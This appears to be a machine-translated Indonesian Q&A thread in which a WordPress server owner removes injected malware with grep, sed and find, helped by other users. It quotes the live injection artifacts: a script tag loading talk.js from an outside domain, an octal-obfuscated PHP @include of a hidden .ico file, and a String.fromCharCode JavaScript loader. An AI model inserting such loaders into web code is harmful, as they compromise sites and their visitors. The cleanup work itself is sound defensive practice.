Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Saya memang mencarinya via grep menggunakan
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Saya mencoba untuk menggantinya di seluruh struktur file dengan seddan saya telah menulis perintah berikut.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Saya mencoba mengganti string pada satu file index.phpterlebih dahulu, jadi saya tahu itu berfungsi.
dan saya tahu kode saya salah. Tolong bantu saya dengan ini.
Saya mencoba dengan kode @ Eran dan menghapus seluruh baris, yang bagus dan seperti yang diharapkan. Namun, jargon totalnya adalah ini
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Dan sementara saya ingin menghapus semua konten, saya ingin menyimpan tag pembuka php <?php.
Meskipun solusi @ slybloty mudah dan berhasil.
jadi untuk menghapus kode sepenuhnya dari semua file yang terpengaruh. Saya menjalankan 3 perintah berikut, Terima kasih kepada Anda semua untuk ini.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"- Untuk menghapus baris skripfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Untuk menghapus@includegarisfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'- Untuk menghapus baris komentar
Juga, saya menjalankan semua 3 perintah lagi '*.html', karena skrip peretas membuat index.html yang tidak diinginkan di semua direktori. Saya tidak yakin apakah menghapus index.html ini secara massal adalah pendekatan yang tepat.
sekarang, saya masih perlu mencari tahu file sampah dan jejaknya.
Skrip hacker menambahkan kode JS juga.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Mencoba melihat apakah saya bisa sedmelakukannya juga.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" The -loption hanya menyediakan nama file dan tidak pencocokan teks.
sed -i. Misalnya, sed -i.bakakan membuat *.bakfile untuk semua file yang diedit. Saat digunakan dengan while...greploop, Anda hanya akan membuat cadangan file yang berisi string itu. Maaf untuk semua komentar tambahan, tetapi menurut pendapat saya, malware adalah skenario "semua di dek".